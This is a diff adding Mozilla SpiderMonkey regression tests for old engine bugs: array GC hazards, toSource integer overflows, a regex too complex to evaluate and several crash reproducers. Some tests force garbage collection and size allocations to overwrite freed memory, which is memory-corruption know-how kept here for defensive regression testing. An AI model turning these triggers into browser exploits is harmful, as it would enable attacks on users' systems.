diff --git a/js/src/tests/non262/extensions/regress-313763.js b/js/src/tests/non262/extensions/regress-313763.js
new file mode 100644
index 0000000000..c5ecfb2d8e
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-313763.js
@@ -0,0 +1,46 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 313763;
+var summary = 'Root jsarray.c creatures';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+printStatus ('This bug requires TOO_MUCH_GC');
+
+var N = 0x80000002;
+var array = Array(N);
+array[N - 1] = 1;
+array[N - 2] = 2;
+
+// Set getter not to wait until engine loops through 2^31 holes in the array.
+var LOOP_TERMINATOR = "stop_long_loop";
+array.__defineGetter__(N - 2, function() {
+ throw "stop_long_loop";
+ });
+
+var prepared_string = String(1);
+array.__defineGetter__(N - 1, function() {
+ var tmp = prepared_string;
+ prepared_string = null;
+ return tmp;
+ })
+
+
+ try {
+ array.unshift(1);
+ } catch (e) {
+ if (e !== LOOP_TERMINATOR)
+ throw e;
+ }
+
+var expect = "1";
+var actual = array[N];
+printStatus(expect === actual);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-314874.js b/js/src/tests/non262/extensions/regress-314874.js
new file mode 100644
index 0000000000..867e127044
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-314874.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 314874;
+var summary = 'Function.call/apply with non-primitive argument';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var thisArg = { valueOf: function() { return {a: 'a', b: 'b'}; } };
+
+ var f = function () { return (this); };
+
+ expect = f.call(thisArg);
+
+ thisArg.f = f;
+
+ actual = thisArg.f();
+
+ delete thisArg.f;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-315509-02.js b/js/src/tests/non262/extensions/regress-315509-02.js
new file mode 100644
index 0000000000..40e64b7ea4
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-315509-02.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 315509;
+var summary = 'Array.prototype.unshift do not crash on Arrays with holes';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function x1() {
+ var a = new Array(1);
+ a.unshift(1);
+}
+function x2() {
+ var a = new Array(1);
+ a.unshift.call(a, 1);
+}
+function x3() {
+ var a = new Array(1);
+ a.x = a.unshift;
+ a.x(1);
+}
+function x4() {
+ var a = new Array(1);
+ a.__defineSetter__("x", a.unshift);
+ a.x = 1;
+}
+
+for (var i = 0; i < 10; i++)
+{
+ x1();
+ x2();
+ x3();
+ x4();
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-319683.js b/js/src/tests/non262/extensions/regress-319683.js
new file mode 100644
index 0000000000..47e0e8042d
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-319683.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 319683;
+var summary = 'Do not crash in call_enumerate';
+var actual = 'No Crash';
+var expect = 'No Crash';
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function crash(){
+ function f(){
+ var x;
+ function g(){
+ x=1; //reference anything here or will not crash.
+ }
+ }
+
+ //apply an object to the __proto__ attribute
+ f.__proto__={};
+
+ //the following call will cause crash
+ f();
+}
+
+crash();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-320854.js b/js/src/tests/non262/extensions/regress-320854.js
new file mode 100644
index 0000000000..8486924d60
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-320854.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 320854;
+var summary = 'o.hasOwnProperty("length") should not lie when o has function in proto chain';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var o = {__proto__:function(){}};
+
+expect = false;
+actual = o.hasOwnProperty('length')
+
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-327170.js b/js/src/tests/non262/extensions/regress-327170.js
new file mode 100644
index 0000000000..f9f63be4b2
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-327170.js
@@ -0,0 +1,25 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 327170;
+var summary = 'Reuse of RegExp in string.replace(rx.compile(...), function() { rx.compile(...); }) causes a crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var g_rx = /(?:)/;
+
+"this is a test-string".replace(g_rx.compile("test", "g"),
+ function()
+ {
+ // re-use of the g_rx RegExp object,
+ // that's currently in use by the replace fn.
+ g_rx.compile("string", "g");
+ });
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-327608.js b/js/src/tests/non262/extensions/regress-327608.js
new file mode 100644
index 0000000000..64162d6741
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-327608.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(xulRuntime.shell)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 327608;
+var summary = 'Do not assume we will find the prototype property';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+print('This test runs only in the browser');
+
+function countProps(obj)
+{
+ var c;
+ for (var prop in obj)
+ ++c;
+ return c;
+}
+
+function init()
+{
+ var inp = document.getElementsByTagName("input")[0];
+ countProps(inp);
+ gc();
+ var blurfun = inp.blur;
+ blurfun.__proto__ = null;
+ countProps(blurfun);
+ reportCompare(expect, actual, summary);
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+}
+
+// delay test driver end
+gDelayTestDriverEnd = true;
+
+document.write('<input>');
+window.addEventListener("load", init, false);
diff --git a/js/src/tests/non262/extensions/regress-328443.js b/js/src/tests/non262/extensions/regress-328443.js
new file mode 100644
index 0000000000..897ee8fc1b
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-328443.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 328443;
+var summary = 'Uncatchable exception with |new (G.call) (F);| when F proto is null';
+var actual = '';
+var expect = 'Exception caught';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var F = (function(){});
+F.__proto__ = null;
+
+var G = (function(){});
+
+var z;
+
+z = "uncatchable exception!!!";
+try {
+ new (G.call) (F);
+
+ actual = "No exception";
+} catch (er) {
+ actual = "Exception caught";
+ printStatus("Exception was caught: " + er);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-330569.js b/js/src/tests/non262/extensions/regress-330569.js
new file mode 100644
index 0000000000..57114781a6
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-330569.js
@@ -0,0 +1,91 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 330569;
+var summary = 'RegExp - throw InternalError on too complex regular expressions';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var s;
+ expect = 'InternalError: regular expression too complex';
+
+ s = '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">' +
+ '<html>\n' +
+ '<head>\n' +
+ '<meta http-equiv="content-type" content="text/html; charset=windows-1250">\n' +
+ '<meta name="generator" content="PSPad editor, www.pspad.com">\n' +
+ '<title></title>\n'+
+ '</head>\n' +
+ '<body>\n' +
+ '<!-- hello -->\n' +
+ '<script language="JavaScript">\n' +
+ 'var s = document. body. innerHTML;\n' +
+ 'var d = s. replace (/<!--(.*|\n)*-->/, "");\n' +
+ 'alert (d);\n' +
+ '</script>\n' +
+ '</body>\n' +
+ '</html>\n';
+
+ try
+ {
+ /<!--(.*|\n)*-->/.exec(s);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary + ': /<!--(.*|\\n)*-->/.exec(s)');
+
+ function testre( re, n ) {
+ for ( var i= 0; i <= n; ++i ) {
+ re.test( Array( i+1 ).join() );
+ }
+ }
+
+ try
+ {
+ testre( /(?:,*)*x/, 22 );
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary + ': testre( /(?:,*)*x/, 22 )');
+
+ try
+ {
+ testre( /(?:,|,)*x/, 22 );
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary + ': testre( /(?:,|,)*x/, 22 )');
+
+ try
+ {
+ testre( /(?:,|,|,|,|,)*x/, 10 );
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': testre( /(?:,|,|,|,|,)*x/, 10 )');
+}
diff --git a/js/src/tests/non262/extensions/regress-333541.js b/js/src/tests/non262/extensions/regress-333541.js
new file mode 100644
index 0000000000..d577ad9124
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-333541.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 333541;
+var summary = '1..toSource()';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function a(){
+ return 1..toSource();
+}
+
+try
+{
+ expect = 'function a(){\n return 1..toSource();\n}';
+ actual = a.toString();
+ compareSource(expect, actual, summary + ': 1');
+}
+catch(ex)
+{
+ actual = ex + '';
+ reportCompare(expect, actual, summary + ': 1');
+}
+
+if (Function.prototype.toSource) {
+ try
+ {
+ expect = 'function a(){\n return 1..toSource();\n}';
+ actual = a.toSource();
+ compareSource(expect, actual, summary + ': 2');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ reportCompare(expect, actual, summary + ': 2');
+ }
+}
+
+expect = a;
+actual = a.valueOf();
+reportCompare(expect, actual, summary + ': 3');
+
+try
+{
+ expect = 'function a(){\n return 1..toSource();\n}';
+ actual = "" + a;
+ compareSource(expect, actual, summary + ': 4');
+}
+catch(ex)
+{
+ actual = ex + '';
+ reportCompare(expect, actual, summary + ': 4');
+}
diff --git a/js/src/tests/non262/extensions/regress-336409-1.js b/js/src/tests/non262/extensions/regress-336409-1.js
new file mode 100644
index 0000000000..1f03dfd2b6
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-336409-1.js
@@ -0,0 +1,50 @@
+// |reftest| skip-if(!Object.prototype.toSource||!xulRuntime.shell||Android) slow -- no results reported.
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 336409;
+var summary = 'Integer overflow in js_obj_toSource';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+function createString(n)
+{
+ var l = n*1024*1024;
+ var r = 'r';
+
+ while (r.length < l)
+ {
+ r = r + r;
+ }
+ return r;
+}
+
+try
+{
+ var n = 64;
+ printStatus('Creating ' + n + 'MB string');
+ var r = createString(n);
+ printStatus('Done. length = ' + r.length);
+ printStatus('Creating object');
+ var o = {f1: r, f2: r, f3: r,f4: r,f5: r, f6: r, f7: r, f8: r,f9: r};
+ printStatus('object.toSource()');
+ var rr = o.toSource();
+ printStatus('Done.');
+}
+catch(ex)
+{
+ expect = 'InternalError: allocation size overflow';
+ actual = ex + '';
+ print(actual);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-336409-2.js b/js/src/tests/non262/extensions/regress-336409-2.js
new file mode 100644
index 0000000000..545350150b
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-336409-2.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!Object.prototype.toSource||(!xulRuntime.shell&&((Android||(isDebugBuild&&xulRuntime.OS=="Linux")||xulRuntime.XPCOMABI.match(/x86_64/))))) slow -- can fail silently due to out of memory, bug 615011 - timeouts on slow debug Linux
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 336409;
+var summary = 'Integer overflow in js_obj_toSource';
+var actual = 'No Crash';
+var expect = /(No Crash|InternalError: allocation size overflow|out of memory)/;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+function createString(n)
+{
+ var l = n*1024*1024;
+ var r = 'r';
+
+ while (r.length < l)
+ {
+ r = r + r;
+ }
+ return r;
+}
+
+try
+{
+ var n = 128;
+ printStatus('Creating ' + n + 'MB string');
+ var r = createString(n);
+ printStatus('Done. length = ' + r.length);
+ printStatus('Creating object');
+ var o = {f1: r, f2: r, f3: r,f4: r,f5: r, f6: r, f7: r, f8: r,f9: r};
+ printStatus('object.toSource()');
+ var rr = o.toSource();
+ printStatus('Done.');
+}
+catch(ex)
+{
+ actual = ex + '';
+ print(actual);
+}
+
+reportMatch(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-336410-1.js b/js/src/tests/non262/extensions/regress-336410-1.js
new file mode 100644
index 0000000000..869a7b9429
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-336410-1.js
@@ -0,0 +1,50 @@
+// |reftest| skip-if(!Object.prototype.toSource||!xulRuntime.shell||Android) slow -- can fail silently due to out of memory
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 336410;
+var summary = 'Integer overflow in array_toSource';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+function createString(n)
+{
+ var l = n*1024*1024;
+ var r = 'r';
+
+ while (r.length < l)
+ {
+ r = r + r;
+ }
+ return r;
+}
+
+try
+{
+ var n = 64;
+ printStatus('Creating ' + n + 'M length string');
+ var r = createString(n);
+ printStatus('Done. length = ' + r.length);
+ printStatus('Creating array');
+ var o=[r, r, r, r, r, r, r, r, r];
+ printStatus('object.toSource()');
+ var rr = o.toSource();
+ printStatus('Done.');
+}
+catch(ex)
+{
+ expect = '\(InternalError: allocation size overflow|out of memory\)';
+ actual = ex + '';
+ print(actual);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-336410-2.js b/js/src/tests/non262/extensions/regress-336410-2.js
new file mode 100644
index 0000000000..bd0952e9e6
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-336410-2.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!Object.prototype.toSource||(!xulRuntime.shell&&((isDebugBuild&&xulRuntime.OS=="Linux")||Android||xulRuntime.XPCOMABI.match(/x86_64/)||xulRuntime.OS=="WINNT"))) slow -- can fail silently due to out of memory, bug 621348 - timeouts on slow debug Linux
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 336410;
+var summary = 'Integer overflow in array_toSource';
+var actual = 'No Crash';
+var expect = /(No Crash|InternalError: allocation size overflow|out of memory)/;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+function createString(n)
+{
+ var l = n*1024*1024;
+ var r = 'r';
+
+ while (r.length < l)
+ {
+ r = r + r;
+ }
+ return r;
+}
+
+try
+{
+ var n = 128;
+ printStatus('Creating ' + n + 'M length string');
+ var r = createString(n);
+ printStatus('Done. length = ' + r.length);
+ printStatus('Creating array');
+ var o=[r, r, r, r, r, r, r, r, r];
+ printStatus('object.toSource()');
+ var rr = o.toSource();
+ printStatus('Done.');
+}
+catch(ex)
+{
+ actual = ex + '';
+ print(actual);
+}
+
+reportMatch(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-339685.js b/js/src/tests/non262/extensions/regress-339685.js
new file mode 100644
index 0000000000..295a080686
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-339685.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 339685;
+var summary = 'Setting __proto__ null should not affect __iterator__';
+var actual = '';
+var expect = 'No Error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var d = { a:2, b:3 };
+
+d.__proto__ = null;
+
+try {
+ for (var p in d)
+ ;
+ actual = 'No Error';
+} catch(e) {
+ actual = e + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-341956-01.js b/js/src/tests/non262/extensions/regress-341956-01.js
new file mode 100644
index 0000000000..2e40bd9350
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-341956-01.js
@@ -0,0 +1,65 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341956;
+var summary = 'GC Hazards in jsarray.c - unshift';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var N = 0xFFFFFFFF;
+
+ var a = [];
+ a[N - 1] = 1;
+ a.__defineGetter__(N - 1, function() {
+ var tmp = [];
+ tmp[N - 2] = 0;
+ if (typeof gc == 'function')
+ gc();
+ for (var i = 0; i != 50000; ++i) {
+ var tmp = 1 / 3;
+ tmp /= 10;
+ }
+ for (var i = 0; i != 1000; ++i) {
+ // Make string with 11 characters that would take
+ // (11 + 1) * 2 bytes or sizeof(JSAtom) so eventually
+ // malloc will ovewrite just freed atoms.
+ var tmp2 = Array(12).join(' ');
+ }
+ return 10;
+ });
+
+
+// The following always-throw getter is to stop unshift from doing
+// 2^32 iterations.
+ var toStop = "stringToStop";
+ a[N - 3] = 0;
+ a.__defineGetter__(N - 3, function() { throw toStop; });
+
+ var good = false;
+
+ try {
+ a.unshift(1);
+ } catch (e) {
+ if (e === toStop)
+ good = true;
+ }
+
+ expect = true;
+ actual = good;
+
+ reportCompare(expect, actual, summary);
+
+ print('Done');
+}
diff --git a/js/src/tests/non262/extensions/regress-341956-02.js b/js/src/tests/non262/extensions/regress-341956-02.js
new file mode 100644
index 0000000000..0957c03ae5
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-341956-02.js
@@ -0,0 +1,52 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341956;
+var summary = 'GC Hazards in jsarray.c - pop';
+var actual = '';
+var expect = 'GETTER RESULT';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var N = 0xFFFFFFFF;
+ var a = [];
+ a[N - 1] = 0;
+
+ var expected = "GETTER RESULT";
+
+ a.__defineGetter__(N - 1, function() {
+ delete a[N - 1];
+ var tmp = [];
+ tmp[N - 2] = 1;
+
+ if (typeof gc == 'function')
+ gc();
+ for (var i = 0; i != 50000; ++i) {
+ var tmp = 1 / 3;
+ tmp /= 10;
+ }
+ for (var i = 0; i != 1000; ++i) {
+ // Make string with 11 characters that would take
+ // (11 + 1) * 2 bytes or sizeof(JSAtom) so eventually
+ // malloc will ovewrite just freed atoms.
+ var tmp2 = Array(12).join(' ');
+ }
+ return expected;
+ });
+
+ actual = a.pop();
+
+ reportCompare(expect, actual, summary);
+
+ print('Done');
+}
diff --git a/js/src/tests/non262/extensions/regress-341956-03.js b/js/src/tests/non262/extensions/regress-341956-03.js
new file mode 100644
index 0000000000..2985dfb2bc
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-341956-03.js
@@ -0,0 +1,69 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341956;
+var summary = 'GC Hazards in jsarray.c - reverse';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var N = 0xFFFFFFFF;
+ var a = [];
+ a[N - 1] = 0;
+
+ var expected = "GETTER RESULT";
+
+ a.__defineGetter__(N - 1, function() {
+ delete a[N - 1];
+ var tmp = [];
+ tmp[N - 2] = 1;
+
+ if (typeof gc == 'function')
+ gc();
+ for (var i = 0; i != 50000; ++i) {
+ var tmp = 1 / 3;
+ tmp /= 10;
+ }
+ for (var i = 0; i != 1000; ++i) {
+ // Make string with 11 characters that would take
+ // (11 + 1) * 2 bytes or sizeof(JSAtom) so eventually
+ // malloc will ovewrite just freed atoms.
+ var tmp2 = Array(12).join(' ');
+ }
+ return expected;
+ });
+
+// The following always-throw getter is to stop unshift from doing
+// 2^32 iterations.
+ var toStop = "stringToStop";
+ a[N - 3] = 0;
+ a.__defineGetter__(N - 3, function() { throw toStop; });
+
+
+ var good = false;
+
+ try {
+ a.reverse();
+ } catch (e) {
+ if (e === toStop)
+ good = true;
+ }
+
+ expect = true;
+ actual = good;
+
+ reportCompare(expect, actual, summary);
+
+ print('Done');
+}
diff --git a/js/src/tests/non262/extensions/regress-342960.js b/js/src/tests/non262/extensions/regress-342960.js
new file mode 100644
index 0000000000..d7d8f8a0c1
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-342960.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(!Object.prototype.toSource||(!xulRuntime.shell&&(Android||xulRuntime.OS=="WINNT"||xulRuntime.OS=="Linux"))) silentfail slow -- bug 528464
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 342960;
+var summary = 'Do not crash on large string toSource';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expectExitCode(0);
+ expectExitCode(5);
+
+ function v()
+ {
+ var meg="";
+ var r="";
+ var i;
+ print("don't interrupt the script. let it go.");
+ for(i=0;i<1024*1024;i++) meg += "v";
+ for(i=0;i<1024/8;i++) r += meg;
+ var o={f1: r, f2: r, f3: r,f4: r,f5: r, f6: r, f7: r, f8: r,f9: r};
+ print('done obj');
+ var rr=r.toSource();
+ print('done toSource()');
+ }
+
+ v();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-345967.js b/js/src/tests/non262/extensions/regress-345967.js
new file mode 100644
index 0000000000..0ca7f71c91
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-345967.js
@@ -0,0 +1,65 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 345967;
+var summary = 'Yet another unrooted atom in jsarray.c';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expectExitCode(0);
+ expectExitCode(3);
+
+ print('This test will probably run out of memory');
+ print('This test really should only fail on 64 bit machines');
+
+ var JSVAL_INT_MAX = (1 << 30) - 1;
+
+ var a = new Array(JSVAL_INT_MAX + 2);
+ a[JSVAL_INT_MAX] = 0;
+ a[JSVAL_INT_MAX + 1] = 1;
+
+ a.__defineGetter__(JSVAL_INT_MAX, function() { return 0; });
+
+ a.__defineSetter__(JSVAL_INT_MAX, function(value) {
+ delete a[JSVAL_INT_MAX + 1];
+ var tmp = [];
+ tmp[JSVAL_INT_MAX + 2] = 2;
+
+ if (typeof gc == 'function')
+ gc();
+ for (var i = 0; i != 50000; ++i) {
+ var tmp = 1 / 3;
+ tmp /= 10;
+ }
+ for (var i = 0; i != 1000; ++i) {
+ // Make string with 11 characters that would take
+ // (11 + 1) * 2 bytes or sizeof(JSAtom) so eventually
+ // malloc will ovewrite just freed atoms.
+ var tmp2 = Array(12).join(' ');
+ }
+ });
+
+
+ a.shift();
+
+ expect = 0;
+ actual = a[JSVAL_INT_MAX];
+ if (expect !== actual)
+ print("BAD");
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-346642-06.js b/js/src/tests/non262/extensions/regress-346642-06.js
new file mode 100644
index 0000000000..e2617038f8
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-346642-06.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
